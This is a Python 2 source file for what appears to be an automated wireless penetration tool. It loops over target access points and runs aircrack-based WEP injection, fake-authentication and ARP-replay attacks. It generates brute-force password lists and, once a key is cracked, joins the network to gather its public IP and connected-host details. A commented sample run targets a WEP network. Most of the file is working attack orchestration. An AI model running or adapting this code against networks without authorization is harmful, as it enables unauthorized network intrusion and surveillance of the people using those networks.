__author__ = 'root'
import network
from aircrack import Attack
import brute_force
from airodump import Reader
from execute import execute
from multiprocessing import Process, Queue
import os, signal
import commands
import time


class auto_pentest():
    def __init__(self, iface, option):
        self.iface = iface
        self.opt = option
        self.result = Queue()
        self.proc = None
        self.rlist = []

    def run(self):
        self.proc = _auto_pentest(self.iface, self.opt, self.result)
        self.daemon = True
        self.proc.start()

    def stop(self):
        print "[*] AUTOPENTEST RECEIVED STOP SIGNAL"
        try:
            self.proc.terminate()
            self.proc.join()
        except:
            pass

    def get_values(self):
        self.result.put("STOP")
        while True:
            tmp = self.result.get()
            if tmp == "STOP": break
            else:
                print tmp
                self.rlist.append(tmp)

        return self.rlist


G_PEN = None
def signal_handler(signum, frame):
    print "[*] _AUTOPENTEST RECEIVED SIGTERM"
    if G_PEN.apcrack:
        G_PEN.apcrack.stop()
    exit()

class _auto_pentest(Process):
    def __init__(self, iface, option, result):
        self.option = option
        super(_auto_pentest, self).__init__()
        self.time = int(self.option['timeout']) * 60
        self.iface = iface
        self.conn_host_info = self.option['conn_host_info']
        self.public_ip_get  = self.option['public_ip_info']
        self.brute_min_len  = self.option['bruteforce_minlength']
        self.brute_max_len  = self.option['bruteforce_maxlength']
        self.brute_number   = self.option['bruteforce_number']
        self.brute_space    = self.option['bruteforce_space']
        self.brute_special  = self.option['bruteforce_special']
        self.brute_string   = self.option['bruteforce_strings']
        self.dict_password  = self.option['dictionary_password']
        self.dict_user      = self.option['dictionary_user']
        self.result_value   = None
        self.result = result
        self.apcrack = None
        signal.signal(signal.SIGTERM, signal_handler)
        global G_PEN
        G_PEN = self


    def run(self):
        time = int(self.time) / int(len(self.option['aplist']))
        if self.dict_password:
            pass
        else:
            self.create_brtue_text()

        r = Reader() # Reader class in airodump module
        nets = r.get_sorted_networks()
        for i in xrange(0, len(self.option['aplist'])):
            channel     = self.option['aplist'][i]['channel']
            bssid       = self.option['aplist'][i]['bssid']
            # Get the essid match the encoding format that AP is broadcast.
            for k in range(0, len(nets)):
                if nets[k]['bssid'] == bssid:
                    essid = nets[k]['essid']
                    break
            enc_type    = self.option['aplist'][i]['enc_type']
            public_ip   = False
            conn_host   = False
            if essid == '':
                print '[!!] Can not connect without ESSID'
                continue
            self.apcrack    = Attack(self.iface, channel, bssid, essid, enc_type, timeout=time)
            print "[*] ATTACK START"
            self.apcrack.run()
            print "[*] ATTACK END"
            ap_values = self.apcrack.get_value()

            if ap_values['key']: # Found Key
                retval, public_ip, conn_host = network.get_ap_info(essid, channel, enc_type, ap_values['key'], self.iface, self.public_ip_get, self.conn_host_info)

                self.result_value = {'essid': ap_values['essid'], 'bssid': ap_values['bssid'], 'inject_T': ap_values['inject_T'],
                                'fake_auth_T': ap_values['fake_auth_T'], 'arp_req_T': ap_values['arp_req_T'], 'key': ap_values['key'],
                                'public_ip': public_ip, 'conn_host_info': conn_host}
                self.result.put(self.result_value)
                print self.result
            self.apcrack.stop()
            self.apcrack = None


    def create_brtue_text(self):
        text = brute_force.brute_text_create(min_length=int(self.brute_min_len),
                                      max_length=int(self.brute_max_len),
                                      letters=bool(self.brute_string),
                                      numbers=bool(self.brute_number),
                                      symbols=bool(self.brute_special),
                                      spaces=bool(self.brute_space))

        f = open('./dict/password.lst', 'w')
        for t in text:      # Performance improvement needs.
            f.write(t + '\n')
        f.close()

"""
opt = {u'aplist': [{u'enc_type': u' WEP  WEP', u'essid': u'NormaFakeFake', u'bssid': u'00:26:66:66:50:F0', u'channel': u'11'}], u'bruteforce_space': False, u'bruteforce_special': False, u'dictionary_password': True, u'bruteforce_strings': False, u'bruteforce_minlength': u'', u'public_ip_info': True, u'timeout': u'3', u'conn_host_info': True, u'bruteforce_maxlength': u'', u'bruteforce_number': False, u'dictionary_user': False}

aut = auto_pentest('wlan7', opt)
aut.run()

while True:
    r = aut.get_values()
    if r:
        print r
        break
    time.sleep(1)
aut.stop()
"""
